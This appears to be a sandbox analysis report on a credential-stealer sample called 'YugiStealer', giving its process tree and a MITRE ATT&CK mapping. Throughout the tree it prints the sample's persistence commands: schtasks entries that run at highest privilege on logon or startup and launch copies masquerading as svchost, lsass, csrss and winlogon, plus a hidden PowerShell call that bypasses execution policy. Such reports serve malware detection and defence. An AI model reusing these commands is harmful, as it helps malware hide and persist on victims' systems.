  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8508
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2128
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:10496
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8388
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6048
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8340
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:11860
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10984
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:5028
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:11964
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:12832
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onstart /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8992
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:13056

C:\Windows\System32\0409\WindowsUpdate.exe
"C:\Windows\System32\0409\WindowsUpdate.exe"
1⤵
PID:8200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
  2⤵
  PID:7864

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:9332

C:\Windows\Temp\svchost.exe
C:\Windows\Temp\svchost.exe
1⤵
PID:10616
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:7868
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10784
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:5928
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:6452
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:11668
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:12148
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:10004
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3084
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:9248
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:10132
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onstart /f /rl highest"
  2⤵
  PID:12628
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onstart /f /rl highest
    3⤵
    PID:13164
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:12008

C:\Users\Public\Documents\svchost.exe
C:\Users\Public\Documents\svchost.exe
1⤵
PID:10816
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:10032
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:7824
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:6428
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:11620
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:11644
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:12180
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:10984
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:11020
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:13180
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:11900

C:\Windows\Temp\csrss.exe
C:\Windows\Temp\csrss.exe
1⤵
PID:10268
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:8632
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7628
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:11712
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:12000
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:12072
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8980
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:11804
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1056
- C:\Windows\system32\cmd.exe
  "cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"
  2⤵
  PID:13200
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest
    3⤵
    PID:8392

C:\Windows\System32\0409\WindowsUpdate.exe
C:\Windows\System32\0409\WindowsUpdate.exe
1⤵
PID:8140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"
  2⤵
  PID:7672

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...